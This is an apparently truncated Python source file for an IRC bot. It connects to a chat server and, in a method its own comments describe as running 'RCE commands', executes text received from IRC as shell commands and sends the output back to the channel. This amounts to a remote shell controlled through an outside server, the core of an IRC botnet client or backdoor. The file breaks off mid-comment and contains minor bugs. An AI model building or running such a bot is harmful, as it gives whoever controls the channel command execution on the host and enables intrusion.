#!/usr/bin/env python3 import os import sys import socket import signal import threading import subprocess import re import time import queue import config class Server(): # Order of functions in Server(): # - Public API (non underscored functions and __init__) # - Thread targets # - Internal helper functions (message parsing, message handling, etc) # - Bot commands (pid, die, etc) # Setup the IRC related things such as user details and prefixes # This function also sets up the threading events and queues def __init__(self, realname, nickname, channels, command_prefix = "$!", bot_prefix = "$$", opper_nicknames = []): print(f"[SERVER/MAINTHREAD] Using Server() on Python3 PID {os.getpid()}") self.realname = realname self.nickname = nickname self.channels = channels self.opper_nicknames = opper_nicknames # Prefix for commands to execute self.command_prefix = command_prefix # Prefix for internal commands self.bot_prefix = bot_prefix # Used to signal threads to shutdown self._going_down = threading.Event() # Queue used for IRC server send() calls self._send_q = queue.Queue() # Rate limiting variables # Used so it can be quired by IRC self._msg_time = 0 self._msg_count = 0 print(f"[SERVER/MAINTHREAD] Using nickname {nickname}!") # This function handles the socket bring up # Sets socket paramaters, and starts the send/recv threads def connect(self, ip, port, sock_timeout = 60, sock_sendbuf = 512, sock_recvbuf = 512): print(f"[SERVER/MAINTHREAD] Connecting to {ip}:{port}") self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print(f"[SERVER/MAINTHREAD] Using socket timeout of {sock_timeout} seconds!") self.sock.settimeout(sock_sendbuf) print(f"[SERVER/MAINTHREAD] Using socket send/recv buffer of {sock_sendbuf}/{sock_recvbuf}!") self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, sock_sendbuf) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, sock_recvbuf) print("[SERVER/MAINTHREAD] Starting send thread!") self._send_thread = threading.Thread(target = self._send_loop, args = (ip,)) self._send_thread.start() print("[SERVER/MAINTHREAD] Starting recieve thread!") self._recv_thread = threading.Thread(target = self._recv_loop, args = (ip, port)) self._recv_thread.start() # Gracefully shuts the server down def die(self, msg = "Python3 Server() outta here!"): # NOOP if we're in the process of going down if self._going_down.is_set(): return print("[SERVER] Sending PART and QUIT") # Part all of our channels with a cool message, then quit for channel in self.channels: self.sock.send(f"PART {channel} : {msg}\r\n".encode()) self.sock.send(f"QUIT : {msg}\r\n".encode()) print("[SERVER] Signaling threads to quit!") # Signal threads to quit self._going_down.set() print("[SERVER] Signaling main thread to quit!") os.kill(os.getpid(), signal.SIGINT) # Sends a message to a target (user/channel) # The bot does NOT have to be a channel to send a message, but most channels # disallow messages from non-JOIN'ed users. def privmsg(self, target, message, bypass_q = False): # Check for send thread try: self._send_thread except NameError: raise RuntimeWarning("connect() must be called before this command is used!") # format message message = f"PRIVMSG {target} :{message}\r\n".encode() if bypass_q: self.sock.send(message) else: self._send_q.put(message) # Function used to send messages from the queue # Rate limiting is also implemented here def _send_loop(self, ip): while not self._going_down.is_set(): self._msg_time = (0.15 * self._msg_count)**2 print(f"[SENDTHREAD] Sleeping for {self._msg_time} seconds on message count {self._msg_count}") time.sleep(self._msg_time) if self._msg_count == 10: print("[SENDTHREAD] Sending ping on 10th message!") self.sock.send(f"PING :{ip}\r\n".encode()) self._msg_count = 0 # Grab message and send it try: msg = self._send_q.get(timeout = 60) # Only increment the message count if we actually get a message, # the server will PING us when it needs to. self._msg_count+=1 except queue.Empty: # So the thread signaler works continue print(f"[SENDTHREAD] Sending message: {msg}") try: self.sock.send(msg) except BrokenPipeError: # Can't use die because we have no connection... just quit I suppose print("[SENDTHREAD] Quitting due to BrokenPipeError!") break print("[SENDTHREAD] Quitting due to thread condition!") # This is the function used to process messages from the server # This is where we actually connect to the IRC server def _recv_loop(self, ip, port): # Connect to server self.sock.connect((ip, port)) # Send user reg self._send_userreg() # Grab receieve buffer size bufsize = self.sock.getsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF) # Enter main loop while not self._going_down.is_set(): # Grab IRC data and decode text try: data = self.sock.recv(bufsize) data = data.decode("utf-8") except UnicodeDecodeError: print("[RECVTHREAD] Error decoding message as utf-8!") print("[RECVTHREAD] Message: {data}") continue except socket.timeout: # So threading Events work continue # Handle IRC messages ircmsgs = data.split("\r\n") for msg in ircmsgs: parsed_msg = self._parse_message(msg) # Ignore blank messages if parsed_msg: self._handle_message(parsed_msg) # Bye bye main loop if self._going_down.is_set(): print("[RECVTHREAD] Quitting due to thread condition!") # This is where we actually run the RCE commands and pipe the output # back to IRC. # # No temp files here def _handle_command(self, cmd, target_channel): print(f"[CMDTHREAD] Running CMD {cmd}!") proc = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, stdin = subprocess.DEVNULL, start_new_session=True, text=False) # Calculate maximum message size # 512 bytes is max IRC message with